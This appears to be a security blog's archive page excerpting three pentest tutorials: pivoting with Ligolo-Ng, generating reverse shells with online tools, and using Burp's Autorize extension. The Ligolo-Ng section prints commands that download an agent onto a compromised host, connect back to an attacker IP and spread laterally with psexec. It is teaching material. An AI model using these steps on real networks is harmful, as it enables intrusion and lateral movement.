At Deepwatch, " Empowering Your Digital Defense, Ensuring Your Peace of Mind"

Day: November 1, 2020

A Detailed Guide on Ligolo-Ng

A Detailed Guide on Ligolo-Ng

This comprehensive guide delves into the intricacies of Lateral Movement utilizing Ligolo-Ng, a tool developed by Nicolas Chatelain. The Ligolo-Ng tool facilitates the establishment of tunnels through reverse TCP/TLS connections using a tun interface, avoiding the necessity of SOCKS. This guide covers various aspects, from the tool’s unique features to practical applications such as single and double pivoting within a network. Download Ligolo-Ng: Ligolo-Ng can be downloaded from the official repository: Ligolo-Ng Releases. Table of Contents: Ligolo-Ng Overview: Ligolo-Ng is a lightweight and efficient tool designed to enable penetration testers to establish tunnels through reverse TCP/TLS connections, employing a tun interface. Noteworthy features include its GO-coded nature, VPN-like behavior, customizable proxy, and agents in GO. The tool supports multiple protocols, including ICMP, UDP, SYN stealth scans, OS detection, and DNS Resolution, offering connection speeds of up to 100 Mbits/sec. Ligolo-Ng minimizes maintenance time by avoiding tool residue on disk or in memory. Ligolo V/S Chisel: Lab Setup Follow the step-by-step guide for lateral movement within a network, covering both single and double pivoting techniques. Prerequisites Obtain the Ligolo ‘agent’ file for Windows 64-bit and the ‘proxy’ file for Linux 64-bit. Install the ‘agent’ file on the target machine and the ‘proxy’ file on the attacking machine (Kali Linux). Setting up Ligolo-Ng Step 1: Following the acquisition of both the agent and proxy files, the next step involves the setup of Ligolo-Ng. To ascertain the current status of Ligolo-Ng configuration, the ‘ifconfig’ command is employed. To initiate activation, execute the prescribed sequence of commands as follows: ip tuntap add user root mode tun ligolo ip link set ligolo up Verify Ligolo-Ng activation with: ‘ifconfig’ command Step2: Unzip the Ligolo proxy file: tar -xvzf ligolo-ng_proxy_0.5.1_linux_amd64.tar.gz This proxy file facilitates the establishment of a connection through Ligolo, enabling us to execute subsequent pivoting actions. To explore the full range of options available in the proxy file, utilize the ‘help’ command ./proxy -h Step 3: The options displayed in the preceding image are designed for incorporating various types of certificates with the proxy. The chosen approach involves utilizing the ‘-selfcert’ option, which operates on port 11601. Execute the provided command, as illustrated in the accompanying image below: ./proxy -selfcert Step 4: By executing the aforementioned command, Ligolo-Ng becomes operational on the attacking machine. Subsequently, to install the Ligolo agent on the target machine, unzip the ligolo agent file using the command: unzip ligolo-ng_agent_0.5.1_windows_amd64.zip To facilitate the transmission of this agent file to the target, establish a server with the command: updog -p 80 Step 5: In the context of lateral movement, a session has been successfully acquired through netcat. Utilizing the established netcat connection, the next step involves downloading the Ligolo agent file onto the target system. Referencing the image below, execute the provided sequence of commands: cd Desktop powershell wget 192.168.1.5/agent.exe -o agent.exe dir Step 6: Evidently, the agent file has been successfully downloaded. Given that the proxy file is presently operational on Kali, the subsequent action involves executing the agent file. ./agent.exe -connect 192.168.1.5:11601 -ignore-cert Upon executing the specified command, a Ligolo session is initiated. Subsequently, employ the ‘session’ command, opting for ‘1’ to access the active session. Following the session establishment, execute the ‘ifconfig’ command as illustrated in the provided image. Notably, it discloses the existence of an internal network on the server, denoted by the IPv4 Address 192.168.148.130/24. This discovery prompts further exploration into creating a tunnel through this internal network in the subsequent steps. Single Pivoting In the single pivoting scenario, the aim is to access Network B while staying within the boundaries of Network                                  Attempting a direct ping to Network B reveals, as illustrated in the image below, the impossibility due to different network configuration. To progress towards the single pivoting objective, a new terminal window will be opened. Subsequently, the internal IP will be added to the IP route, and the addition will be confirmed, as illustrated in the image below, utilizing the following commands: ip route add 192.168.148.0/24 dev ligolo ip route list Return to the Ligolo proxy session window and initiate the tunneling process by entering the ‘start’ command, as demonstrated in the provided image. Upon establishing a tunnel into network B, we executed the netexec command to scan the network B subnet, unveiling an additional Windows 10 entity distinct from DC1, as depicted in the image. Upon attempting to ping the IP now, successful ping responses will be observed, a contrast to the previous unsuccessful attempts. Additionally, a comprehensive nmap scan can be conducted, as illustrated in the image below. Double Pivoting In the process of double pivoting, our objective is to gain access to Network C from Network A, utilizing Network B as an intermediary. From the newly opened terminal window, utilize the Impacket tool to access the identified Windows 10 with the IP 192.168.148.132. Following this, execute the subsequent set of commands to download the Ligolo agent onto Windows 10 Impacket-psexec administrator:123@192.168.148.132 cd c:\users\public powershell wget 192.168.1.5/agent.exe -o agent.exe dir Subsequently, initiate the execution of the agent.exe. Upon completion, a session will be established, given that our Ligolo proxy file is already operational. agent.exe -connect 192.168.1.5:11601 -ignore-cert Examine Ligolo-ng proxy server, a new session, corresponding to Windows 10, will be present, as indicated in the accompanying image. Execute the ‘start’ command to initiate additional tunnelling. Execute the ‘session’ command to display the list of sessions. Navigate through the sessions using arrow keys, selecting the desired session for access. In this instance, the aim is to access the latest session, identified as session 2. Select this session and utilize the ‘ifconfig’ command to inspect the interfaces. This action reveals an additional network C interface with the address 192.168.159.130/24, mirroring the details depicted in the image below. Upon identifying the new network, the initial step involves attempting a ping. However, the image below indicates an absence of connectivity between Kali and the network C. Add the Network C Subnet in the IP route list with the following command. ip

Read More
Easy way to Generate Reverse Shell

Easy way to Generate Reverse Shell

In this article, we will learn how to get a reverse in a few easy steps. Usually, the problem when reverse shell commands is to remember its long and complicating syntax. But due to growing AI of our digital world, this problem tackled and dealt with. Let’s see how it is done through this article. Table of Content What is Reverse Shell? A reverse shell is a technique used in computer security and hacking that allows an attacker to gain control over a system through an established network connection. Reverse shells can be used for various purposes, including unauthorized access, data theft, and further exploitation of the compromised system. A reverse shell, however, works in the opposite direction. Here’s a basic explanation of how a reverse shell typically works: Listener/Server Side: The attacker sets up a listener (command and control/C2 server) on a machine they control. This listener waits for incoming connections. Victim/Client Side: The attacker somehow tricks the target system into connecting back to their machine. This could be through techniques like exploiting vulnerabilities, social engineering, or other means. Connection Establishment: Once the connection is established, the attacker gains a command shell on the target system. This shell allows them to execute commands on the target machine as if they were physically present. Command Execution: The attacker can then issue commands on the target system, navigate the file system, run programs, and essentially control the system remotely. Types of Reverse Shell Reverse shell payloads are typically used by attackers to establish a connection back to their system. These payloads can be part of various hacking tools and frameworks. Here are some common types of reverse shell payloads: Netcat (nc): Netcat is a versatile networking utility that can be used to create a basic reverse shell. The attacker sets up a listener using Netcat, and the victim connects back to it, establishing a shell. Bash (Linux): A simple reverse shell can be achieved using Bash, the command shell for Unix-based operating systems. The attacker might use a one-liner command to create a reverse shell. Python: Python is a powerful scripting language, and attackers often use it to create reverse shells. They can write a short script that opens a network connection and redirects input/output to that connection. PowerShell (Windows): On Windows systems, PowerShell is a command-line shell that supports scripting. Attackers might use PowerShell to create reverse shells for Windows-based targets. PHP: PHP is a server-side scripting language, and attackers can craft PHP scripts to establish reverse shell connections. These scripts are often injected into vulnerable web applications. Ruby: Similar to Python, Ruby is a scripting language that can be used to create reverse shell payloads. Attackers might use Ruby scripts to exploit vulnerabilities and gain control over a system. Metasploit Framework: Metasploit is a penetration testing framework that includes a variety of tools for exploiting vulnerabilities. It provides pre-built reverse shell payloads for different scenarios and platforms. Java: Java-based reverse shells can be created to exploit systems where Java is installed. Attackers can use Java sockets to establish a connection back to their server. C and C++: Attackers may also write custom reverse shell code in lower-level languages like C and C++ to avoid detection by antivirus software and intrusion detection systems. Working of Reverse Shells A reverse shell operates by initiating a connection between the target machine and the attacker’s machine. Typically, the target machine sends a connection request to the attacker’s machine. The attacker’s machine functions as a listener, awaiting commands from the attacker.  Various Type Reverse Shell Generator To Create a Reverse Shell, we need a reverse shell command and a listener command. And to generate that go to the following website: Online Tool- Reverse Shell Generator -1 Once the www.revshells.com is loaded, give your Listerner IP <Attacker IP> address and Listener Port <Random Port>; as soon as you do this listener and reverse shell command will be generated as shown in the image below. Execute the reverse shell command on the victim’s system and run the listener on your attacking machine. Once you do this, you will have your reverse shell. As you can see in the image below, there are various options of the listener you can create such as powercat, busybox nc, socat, etc. Here we have created a netcat listenser.  Even for the reverse shell we have options like bash, pearl, ruby, nc -c and many more. From the image below you can also observe that you can create such reverse shell commands for all the operating systems such as Linux, Windows and Mac. This Reverse Shell generator also provide us with the option to create Hoaxshell which is a powershell payload for windows. The same is shown in the image below: Reverse Shell Generator – 2 This is an amazing Online reverse shell generator. To use this generator, go to the following website: Once you are on the website, click on the ‘RevShell’ from the menu bar. And then give your Local Host and Local Port as shown in the image below and then click on the ‘Submit’ button. After clicking on the submit button, you will have your listener. Simultaneously, it will also create multiple reverse shell commands for various Operating Systems as shown in the image below: HackTool HackTools is an all-in-one browser extension designed for Red Team web pentesters. It streamlines web application penetration tests by providing cheat sheets and an array of essential tools, including XSS payloads, reverse shells, and more. This extension eliminates the need to search for payloads on different websites or in your local storage, offering one-click access to most tools. Download the Hacktool extension from the following link : Once the extension is downloaded, access it through the full screen option. From the side bar go to the Reverse Shell option and give you Local hot and Local Port along with the type of shell you want to create as shown in the image below. Once you do this, it will create various reverse shells for you to use as shown in the image below: Through Hacktool, you can

Read More
Burpsuite for Pentester: Autorize

Burpsuite for Pentester: Autorize

In order to protect online assets, web application security testing is an essential element of safeguarding them. Burp Suite has been a leader in this area for many years and it’s still being used by safety professionals as well as Ethical hackers. One of those extensions that stands out in the web security testing community is “Autorize”, which comes with a wide variety of additional features to improve its capabilities. A powerful set of features that simplify the authentication and authorization testing process is available with this extension. Autorize = Authenticate + Authorize Authorization includes any method by which a system grants or revokes permission to access specific data or actions. Meanwhile, Authentication is a process by which an individual or system authenticates themselves as being who they claim to be. Common vulnerabilities detected by Autorize It is primarily focused on identifying authorization-related vulnerabilities. It can help to identify some of the main types of vulnerabilities, such as: Remember that the effectiveness of Autorize depends on how well it is configured and your tests are carried out. Understanding the working of Autorize Let’s understand how Autorize works. Suppose, for instance, a web application implements user-based roles and supports cookie-based authentication. Normal User: has access to general functionality but is not allowed to access admin functions and database (read-only access). Admin User: has access to all functionality (read/write access). Capture the normal user cookies and add them to Authorize. Re-log in with the Admin user access all the admin functionality and update some data to the database. What will Autorize be doing now? Autorize is capturing all requests and changing the administrator cookie with your normal user’s cookies when you are browsing an application, then sending them to server. See the server response, if the server behaves in the same way as legitimate Admin (like 200 OK in response) and no errors have been detected. The request was highlighted as a Red Bypass! Another request shows as a Green Enforced!. For every request sent to the server from a client, it will perform an automated test. With a large application, with over 30+ dynamic webpages, it’s going to ease our work. There are a lot of URLs you need to test manually, so Autorize will do it for you. Similarly, Autorize also detects an API endpoint problem in the same way. The authentication method must be checked for the API. Let’s say an API uses a JWT token, you can control that by modifying its authorization header and identifying the authentication bypass issues with the APIs. Installation and Setup From the Bapp Store, you can download and install the extension. Select Bapp Store in Extensions. You can search for ‘Authorize’, or you can just look down. Click on it, scroll down to the right side. The extension is built in Python, you will see that ‘Jython’ needs to be installed first. Browse the below link and download ‘Jython Standalone’. Refer this link: https://www.jython.org/download.html After downloading go to Setting > Extension > on the right side under Python Environment browser the Jython file. This environment has been successfully set up for Jython. Restart the Burp program and follow this path to install Authorize on BApp Store. You’ll notice that the install button is highlighted. You can click on it and install it. The Authorize tab will appear in the bar after successful installation. Navigating and Configuration Options There are two tabs under the Authorize section, the first one is Request/Response Viewers tab and the other one Configuration tab. Request/Response Viewers: The Request/Response tab will display complete information about the particular request you capture within Authorize and choose. The manipulated request will be displayed under the Modified Request section, the Original Request tab will display the original/unmodified request, and the Unauthenticated request will display the unauth request. Configuration: Under the configuration tab you will see Autorize is off by default, when you are ready to capture the request first put Autorize on. There are also some configurations for capturing a request and server status code. Depending on your preference, you can select it. Here, under the Temporary header box; you need to put the normal user token/cookies/header value that you want to replace within the actual request i.e. if any application is using a JWT token for auth mechanism you need to put that value here. Either you can manually add the auth value or below is the option to fetch it from the last request. If you want to add the cookies header from the last request – click on ‘Fetch Cookies header’ or If you want to add Authorization header – click on ‘Fetch Authorization header’. Generally, the session cookies are under Cookies Header and the auth token comes under Authorization Header. Once the session cookies are loaded, it is essential to instruct Authorize on which requests to intercept and establish the standard behavior for the application when dealing with unauthorized requests or those with insufficient permissions. Commencing with the Enforcement Detector, input a characteristic of the application’s response that can be anticipated when a user with limited privileges tries to perform an action they lack sufficient permissions. In my practice, I’ve found that utilizing the “Body (simple string): enforced message body contains” option is the simplest to set up and functions effectively. Choose the type and content that aligns with your specific needs and remember to click the “Add filter” button. Moreover, it is necessary to understand that it automatically sets the default comparison to “And” when assessing multiple filters. Therefore, if the application generates distinct error messages, such as one for trying to read a file and another for attempting to access administrative features, you should create a filter for each scenario and switch the “And” to “Or.” Follow the same procedure for the Unauthenticated Detector The interception filter will intercept “Scope items only” regardless of content and from those requests, it will ignore spider requests and URLs containing image extensions. You may select on your preference and click

Read More
× Live Chat